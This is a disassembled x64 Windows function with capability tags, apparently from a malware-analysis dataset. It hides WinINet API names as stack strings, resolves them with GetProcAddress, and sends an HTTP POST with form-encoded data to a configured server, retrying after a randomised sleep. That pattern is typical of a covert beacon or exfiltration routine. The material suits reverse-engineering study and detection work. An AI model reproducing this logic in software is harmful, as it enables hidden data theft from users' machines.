Function at 0x27de1b13870
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x27de1b3d008]
xor rax, rsp
mov qword [rbp + 0x2f], rax
mov r13, rcx
mov dword [rbp - 0x4b], 0x6c646e61
mov byte [rbp - 0x47], 0x65
xor r12d, r12d
mov rcx, qword [0x27de1b3ed70]
lea rdx, [rbp - 0x59]
mov word [rbp - 0x51], 0x6c43
mov dword [rbp - 0x55], 0x74656e72
mov dword [rbp - 0x4f], 0x4865736f
mov dword [rbp - 0x59], 0x65746e49
mov byte [rbp - 0x46], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x27de1b3ed70]
lea rdx, [rbp - 0x29]
mov rdi, rax
mov dword [rbp - 0x29], 0x65746e49
mov word [rbp - 0x22], 0x4f74
mov word [rbp - 0x25], 0x6e72
mov byte [rbp - 0x23], 0x65
mov dword [rbp - 0x20], 0x416e6570
mov byte [rbp - 0x1c], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
call fcn.27de1b1a928
mov r8d, eax
mov dword [rsp + 0x20], r12d
mov eax, 0x2aaaaaab
xor r9d, r9d
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
xor edx, edx
add ecx, ecx
sub r8d, ecx
lea rcx, [0x27de1b3dab0]
add r8d, 5
imul r15d, r8d, 0x3e8
xor r8d, r8d
call rbx
mov r14, rax
test rax, rax
jne 0x27de1b1397f
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x49], 0x656c64
mov word [rbp - 0x4b], 0x6e61
jmp 0x27de1b138b3
mov rcx, qword [0x27de1b3ed70]
lea rdx, [rbp - 0x19]
mov dword [rbp - 0x19], 0x65746e49
mov dword [rbp - 0x11], 0x6e6e6f43
mov dword [rbp - 0x15], 0x74656e72
mov dword [rbp - 0xd], 0x41746365
mov byte [rbp - 9], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
movzx r8d, word [0x27de1b3edd4]
xor r9d, r9d
mov rdx, qword [0x27de1b3da88]
mov rcx, r14
mov qword [rsp + 0x38], r12
mov dword [rsp + 0x30], r12d
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], r12
call rax
mov rsi, rax
test rax, rax
jne 0x27de1b13a06
mov rcx, r14
call rdi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp - 0x49], 0x656c64
mov word [rbp - 0x4b], 0x6e61
jmp 0x27de1b138b3
mov rcx, qword [0x27de1b3ed70]
lea rdx, [rbp - 1]
mov dword [rbp - 0x41], 0x54534f50
mov byte [rbp - 0x3d], 0
mov dword [rbp - 0x39], 0x6944632f
mov dword [rbp - 0x34], 0x6c646451
mov byte [rbp - 0x35], 0x43
mov word [rbp - 0x30], 0x7251
mov byte [rbp - 0x2e], 0
mov dword [rbp - 1], 0x70747448
mov dword [rbp + 8], 0x65757165
mov dword [rbp + 3], 0x6e65704f
mov byte [rbp + 7], 0x52
mov dword [rbp + 0xc], 0x417473
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x27de1b3edd0]
lea r8, [rbp - 0x39]
mov qword [rsp + 0x38], 1
lea rdx, [rbp - 0x41]
mov dword [rsp + 0x30], ecx
xor r9d, r9d
mov qword [rsp + 0x28], r12
mov rcx, rsi
mov qword [rsp + 0x20], r12
call rax
mov r12, rax
test rax, rax
jne 0x27de1b13aa0
mov rcx, rsi
call rdi
mov rcx, r14
jmp 0x27de1b13b4b
mov ecx, 0x2800
call fcn.27de1b1f28c
xor edx, edx
mov r8d, 0x2800
mov rcx, rax
mov rbx, rax
call fcn.27de1b172d0
lea r9, [0x27de1b3ed78]
mov r8, r13
lea rdx, [0x27de1b39870]
mov rcx, rbx
call fcn.27de1b11070
mov rcx, qword [0x27de1b3ed70]
lea rdx, [rbp + 0x17]
mov dword [rbp + 0x17], 0x70747448
mov dword [rbp + 0x1f], 0x75716552
mov dword [rbp + 0x1b], 0x646e6553
mov dword [rbp + 0x23], 0x41747365
mov byte [rbp + 0x27], 0
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, 0xffffffffffffffff
nop
inc rcx
cmp byte [rbx + rcx], 0
jne 0x27de1b13b10
mov dword [rsp + 0x20], ecx
lea rdx, str.Content_Type:_application_x_www_form_urlencoded
mov rcx, r12
mov r9, rbx
mov r8d, gethostbyname
call rax
mov rcx, rbx
test eax, eax
jne 0x27de1b13b6b
call fcn.27de1b1ee34
mov rcx, rsi
call rdi
mov rcx, r14
call rdi
mov rcx, r12
call rdi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_Sleep]
xor r12d, r12d
mov dword [rbp - 0x49], 0x656c64
mov word [rbp - 0x4b], 0x6e61
jmp 0x27de1b138b3
call fcn.27de1b1ee34
mov rcx, rsi
call rdi
mov rcx, r14
call rdi
mov rcx, r12
call rdi
xor eax, eax
mov rcx, qword [rbp + 0x2f]
xor rcx, rsp
call fcn.27de1b161e0
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret